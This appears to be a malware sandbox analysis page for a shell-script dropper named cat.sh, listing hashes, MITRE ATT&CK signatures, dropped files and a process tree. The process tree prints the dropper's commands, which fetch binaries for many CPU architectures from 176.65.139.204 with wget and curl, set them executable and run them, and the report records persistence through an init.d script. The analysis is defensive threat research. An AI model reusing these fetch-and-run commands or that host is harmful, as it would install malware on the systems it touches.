02afacab8fe2e07c68d28c74d94b1b0ad4e99d84bbf855f66f8f2a08247f52f3

Analysis

max time kernel
150s
max time network
149s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
07/10/2026, 07:33

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
cat.sh
Size 1KB
Sample261007-jdl8pavw7m
SHA256 02afacab8fe2e07c68d28c74d94b1b0ad4e99d84bbf855f66f8f2a08247f52f3
MD5 7131b5008a7ef45a05eb27a62256ebb0
SHA1 75332c77a4818a4cd0a480d4311aabbd2f02a497
SHA512 c06c2041d2cb838abf623b5880232adf79623c52a344ebae96ff511acbb3384f67655db5b883591e2528ce7655666258aa1a37e656febf08de68075778df66c7
TLSH
T15E41428918B0E113E1D8CE01B0E1C7945266F58672F62EBEEDC92DAFE8D9D40B035B35
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery persistence

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 14 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
716	chmod
729	chmod
746	chmod
763	chmod
771	chmod
784	chmod
793	chmod
737	chmod
742	chmod
755	chmod
759	chmod
767	chmod
776	chmod
801	chmod

Executes dropped EXE 4 IoCs

ioc	pid	Process
/tmp/x86_64	718	cat.sh
/tmp/m68k	738	cat.sh
/tmp/mips	743	cat.sh
/tmp/mipsel	747	cat.sh

Enumerates running processes
Discovers information about currently running processes on the system

Modifies init.d 2 TTPs 1 IoCs

Adds/modifies system service, likely for persistence.

persistence

Boot or Logon Autostart Execution

T1547

RC Scripts

T1037.004

description	ioc	Process
File opened for modification	/etc/init.d/xs.main	mipsel

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	-sh	750	mipsel

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/2/comm	mipsel
File opened for reading	/proc/13/cmdline	mipsel
File opened for reading	/proc/106/cmdline	mipsel
File opened for reading	/proc/740/status	mipsel
File opened for reading	/proc/777/status	mipsel
File opened for reading	/proc/785/status	mipsel
File opened for reading	/proc/791/comm	mipsel
File opened for reading	/proc/791/cmdline	mipsel
File opened for reading	/proc/315/comm	mipsel
File opened for reading	/proc/321/comm	mipsel
File opened for reading	/proc/734/stat	mipsel
File opened for reading	/proc/749/cmdline	mipsel
File opened for reading	/proc/787/comm	mipsel
File opened for reading	/proc/789/cmdline	mipsel
File opened for reading	/proc/791/status	mipsel
File opened for reading	/proc/819/comm	mipsel
File opened for reading	/proc/115/exe	mipsel
File opened for reading	/proc/754/cmdline	mipsel
File opened for reading	/proc/765/task/765/children	mipsel
File opened for reading	/proc/770/stat	mipsel
File opened for reading	/proc/777/comm	mipsel
File opened for reading	/proc/790/comm	mipsel
File opened for reading	/proc/804/stat	mipsel
File opened for reading	/proc/812/comm	mipsel
File opened for reading	/proc/73/cmdline	mipsel
File opened for reading	/proc/649/stat	mipsel
File opened for reading	/proc/779/cmdline	mipsel
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/796/task/796/children	mipsel
File opened for reading	/proc/798/status	mipsel
File opened for reading	/proc/812/stat	mipsel
File opened for reading	/proc/849/status	mipsel
File opened for reading	/proc/318/comm	mipsel
File opened for reading	/proc/11/cmdline	mipsel
File opened for reading	/proc/36/status	mipsel
File opened for reading	/proc/708/stat	mipsel
File opened for reading	/proc/757/stat	mipsel
File opened for reading	/proc/790/stat	mipsel
File opened for reading	/proc/791/exe	mipsel
File opened for reading	/proc/845/status	mipsel
File opened for reading	/proc/17/stat	mipsel
File opened for reading	/proc/19/cmdline	mipsel
File opened for reading	/proc/749/comm	mipsel
File opened for reading	/proc/787/stat	mipsel
File opened for reading	/proc/826/status	mipsel
File opened for reading	/proc/836/stat	mipsel
File opened for reading	/proc/841/cmdline	mipsel
File opened for reading	/proc/78/comm	mipsel
File opened for reading	/proc/19/status	mipsel
File opened for reading	/proc/37/cmdline	mipsel
File opened for reading	/proc/83/status	mipsel
File opened for reading	/proc/427/status	mipsel
File opened for reading	/proc/699/exe	mipsel
File opened for reading	/proc/740/exe	mipsel
File opened for reading	/proc/769/stat	mipsel
File opened for reading	/proc/9/stat	mipsel
File opened for reading	/proc/770/task/770/children	mipsel
File opened for reading	/proc/816/stat	mipsel
File opened for reading	/proc/829/cmdline	mipsel
File opened for reading	/proc/845/stat	mipsel
File opened for reading	/proc/740/comm	mipsel
File opened for reading	/proc/20/cmdline	mipsel
File opened for reading	/proc/73/stat	mipsel
File opened for reading	/proc/83/stat	mipsel

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
745	wget
747	mipsel
741	wget
743	mips

Writes file to tmp directory 5 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/x86_64	wget
File opened for modification	/tmp/aarch64	wget
File opened for modification	/tmp/m68k	wget
File opened for modification	/tmp/mips	wget
File opened for modification	/tmp/mipsel	wget

/tmp/cat.sh
/tmp/cat.sh
1⤵
- Executes dropped EXE
PID:702
- /usr/bin/wget
  wget http://176.65.139.204/iran.x86_64 -O x86_64
  2⤵
  - Writes file to tmp directory
  PID:704
- /bin/chmod
  chmod 777 x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:716
- /tmp/x86_64
  ./x86_64 catloader
  2⤵
  PID:718
- /usr/bin/wget
  wget http://176.65.139.204/iran.aarch64 -O aarch64
  2⤵
  - Writes file to tmp directory
  PID:722
- /bin/chmod
  chmod 777 aarch64
  2⤵
  - File and Directory Permissions Modification
  PID:729
- /tmp/aarch64catloader
  ./aarch64catloader
  2⤵
  PID:730
- /usr/bin/wget
  wget http://176.65.139.204/iran.m68k -O m68k
  2⤵
  - Writes file to tmp directory
  PID:732
- /bin/chmod
  chmod 777 m68k
  2⤵
  - File and Directory Permissions Modification
  PID:737
- /tmp/m68k
  ./m68k catloader
  2⤵
  PID:738
- /usr/bin/wget
  wget http://176.65.139.204/iran.mips -O mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:741
- /bin/chmod
  chmod 777 mips
  2⤵
  - File and Directory Permissions Modification
  PID:742
- /tmp/mips
  ./mips catloader
  2⤵
  - System Network Configuration Discovery
  PID:743
- /usr/bin/wget
  wget http://176.65.139.204/iran.mipsel -O mipsel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:745
- /bin/chmod
  chmod 777 mipsel
  2⤵
  - File and Directory Permissions Modification
  PID:746
- /tmp/mipsel
  ./mipsel catloader
  2⤵
  - Modifies init.d
  - Changes its process name
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:747
- /usr/bin/wget
  wget http://176.65.139.204/iran.powerpc -O powerpc
  2⤵
  PID:749
- /usr/bin/curl
  curl http://176.65.139.204/iran.powerpc -o powerpc
  2⤵
  PID:754
- /bin/chmod
  chmod 777 powerpc
  2⤵
  - File and Directory Permissions Modification
  PID:755
- /tmp/powerpc
  ./powerpc catloader
  2⤵
  PID:756
- /usr/bin/wget
  wget http://176.65.139.204/iran.sparc -O sparc
  2⤵
  PID:757
- /usr/bin/curl
  curl http://176.65.139.204/iran.sparc -o sparc
  2⤵
  PID:758
- /bin/chmod
  chmod 777 sparc
  2⤵
  - File and Directory Permissions Modification
  PID:759
- /tmp/sparc
  ./sparc catloader
  2⤵
  PID:760
- /usr/bin/wget
  wget http://176.65.139.204/iran.sh4 -O sh4
  2⤵
  PID:761
- /usr/bin/curl
  curl http://176.65.139.204/iran.sh4 -o sh4
  2⤵
  PID:762
- /bin/chmod
  chmod 777 sh4
  2⤵
  - File and Directory Permissions Modification
  PID:763
- /tmp/sh4
  ./sh4 catloader
  2⤵
  PID:764
- /usr/bin/wget
  wget http://176.65.139.204/iran.arc -O arc
  2⤵
  PID:765
- /usr/bin/curl
  curl http://176.65.139.204/iran.arc -o arc
  2⤵
  PID:766
- /bin/chmod
  chmod 777 arc
  2⤵
  - File and Directory Permissions Modification
  PID:767
- /tmp/arc
  ./arc catloader
  2⤵
  PID:768
- /usr/bin/wget
  wget http://176.65.139.204/iran.i486 -O i486
  2⤵
  PID:769
- /usr/bin/curl
  curl http://176.65.139.204/iran.i486 -o i486
  2⤵
  PID:770
- /bin/chmod
  chmod 777 i486
  2⤵
  - File and Directory Permissions Modification
  PID:771
- /tmp/i486
  ./i486 catloader
  2⤵
  PID:772
- /usr/bin/wget
  wget http://176.65.139.204/iran.armv4l -O armv4l
  2⤵
  PID:773
- /usr/bin/curl
  curl http://176.65.139.204/iran.armv4l -o armv4l
  2⤵
  PID:774
- /bin/chmod
  chmod 777 armv4l
  2⤵
  - File and Directory Permissions Modification
  PID:776
- /tmp/armv4l
  ./armv4l catloader
  2⤵
  PID:778
- /usr/bin/wget
  wget http://176.65.139.204/iran.armv5l -O armv5l
  2⤵
  PID:779
- /usr/bin/curl
  curl http://176.65.139.204/iran.armv5l -o armv5l
  2⤵
  PID:781
- /bin/chmod
  chmod 777 armv5l
  2⤵
  - File and Directory Permissions Modification
  PID:784
- /tmp/armv5l
  ./armv5l catloader
  2⤵
  PID:786
- /usr/bin/wget
  wget http://176.65.139.204/iran.armv6l -O armv6l
  2⤵
  PID:787
- /usr/bin/curl
  curl http://176.65.139.204/iran.armv6l -o armv6l
  2⤵
  - Reads runtime system information
  PID:789
- /bin/chmod
  chmod 777 armv6l
  2⤵
  - File and Directory Permissions Modification
  PID:793
- /tmp/armv6l
  ./armv6l catloader
  2⤵
  PID:794
- /usr/bin/wget
  wget http://176.65.139.204/iran.armv7l -O armv7l
  2⤵
  PID:796
- /usr/bin/curl
  curl http://176.65.139.204/iran.armv7l -o armv7l
  2⤵
  PID:798
- /bin/chmod
  chmod 777 armv7l
  2⤵
  - File and Directory Permissions Modification
  PID:801
- /tmp/armv7l
  ./armv7l catloader
  2⤵
  PID:803

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

xs.main

Path /etc/init.d/xs.main
Size 29B
SHA256 3fcedcc0e70c6d448aba78f9b9723dfe20511ab4e47db0b4645ae0b7352fdeb1
MD5 605b9d8c3a6201b14089c444d912f706
SHA1 8c3a2a2654caef0af0cec8f4c11954251b1b52b4
SHA512 e9511fa44fe25967925c833ea899b8b8146da699789643fe1f3d857072909f91e1f9cc3ba8eb1c311684a2d757e114122d6fd3514a7a92fb69354e899ee91c95
MD5 SHA1 SHA512

Submit Download

aarch64

Path /tmp/aarch64
Size 205KB
SHA256 8f4c0563e9fd8901e1c6282740685c4521b877bb0e2bdfd792510672e2b007c9
MD5 cabc0156e6ebeb0e9abb2926ca999311
SHA1 2df58cdc0b3d45fddb86a79dd5e13de5a3c743f8
SHA512 479d8fa32c3549984f4e12bbdf05973dd15f476fcf82290ff2c100082fad001a915d82af6d3bfbede3fc2f5c43584f2e1df375046c56e1e89e5c80fe8bf75838
SSDEEP 3072:MwS1OScpwRz0maXCvz9P+HyC37HbKG9P9nKMhSzboqN3y:vuOScKRz0mayvhPIyu7HWwnKbzboq
TLSH
T191246BA8BA0F6C01F2C3D3F8DE8C87E13A1735E3C7768971791212EDDAA39D95990512
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

m68k

Path /tmp/m68k
Size 177KB
SHA256 6ace19d81500192e18a25f9b42068e116c20f541ae51f49a1ac2638605081963
MD5 224bee7695185602e54729e98bcb952c
SHA1 003ed343574769de532285fc08b5719c69c51035
SHA512 2d81fec63539e200c5b884cd7957628b8145864b3d5908e751edea1db78f46f7f6126b91e0d98a64b4c82af56362c2b44511fc3b89bd9233e11749d273ecd172
SSDEEP 3072:T1ThtmVqwyJ3XjRcirf200yvcKd34FSkGD52RVRf4grVpjbiNLEy5cKNKB:Fwgx4yvjd34F7GD8V4g2LLPNKB
TLSH
T1520429C7FD00DDBAF809E33748130809B130BBA254925A777257356FED3A295197BE8A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mips

Path /tmp/mips
Size 204KB
SHA256 47ae5b0371a638ce7dddcbec7869fc6fa2e67e546bb1e814f19e87a518233461
MD5 2fcd9362dba6897f1cc497b5b0c45997
SHA1 63b33b09589101a34fddfde7b4fda44fd61e3f79
SHA512 092df53d6547d3432f02ee3fe57e2864339f7ea328baeca36798fa409e809de005e2f89e9c92fcf5317d3b12bb220de87b0a98e443518ea3d679075d594646f1
SSDEEP 3072:sPvQ7inW06qBVrDuQ5SPkCekMcJXs9op/rziTKom:sw7inW06I1DA81qJQ2/r4Kom
TLSH
T19024955E6A328F7DF368873447B74A35975D22D627E1DA84E2ACC1041F2434E681FFA8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mipsel

Path /tmp/mipsel
Size 206KB
SHA256 b2238267cad870db41151a195b2f05870ed72aeda6650a8b9d727b52f2c3ae56
MD5 1d1c2f42bea51a900ea4e4026ff2654b
SHA1 3f4cc818c04b90f0ba9d6c3331937cf1eca7658f
SHA512 813ff90f84c3c76c33b2adda0271baacc4af240f259ad605c8fb0fd4515498e15fc7a78aae92c292431e30e316692d477bd0e72fdb0074ce3ca8f0618f65b71e
SSDEEP 3072:PY/6gT7DbU28Mn0NawZ5aMBjv+7GYNRvO1:PYND1f08wZ5Fj6GY3vO
TLSH
T14624C60AAF610FFBD8AFDD3746E90B0635CC650722A83B3A3674D924F54A54B49D3C68
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

x86_64

Path /tmp/x86_64
Size 160KB
SHA256 7bd6aa495ec7595c0576d069e8274e2372f218b6e79ee71c9100cf5c541b24ed
MD5 b5644a585e5a60a66f4fee4ba04b7a80
SHA1 7ee327a4dafc6acddade26bc5238aa60d6cccae0
SHA512 e96ce97902f79c1cb786b8219be73c61109d14c3452f16a394723d470b7bb4599aa58b7c382cc3ad108623c363e0c360510a5be7a7b9e7d963b2649072af5f5d
SSDEEP 3072:wQUpH4VklB1Amd10qb8ODAhv4y1jFg+SVKKE:wZpfYOB25dHKE
TLSH
T165F35B0274D0D4FEC8E5C2B84BEFE136DA32B4595174761F23C8AE262E5DF212B6D650
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads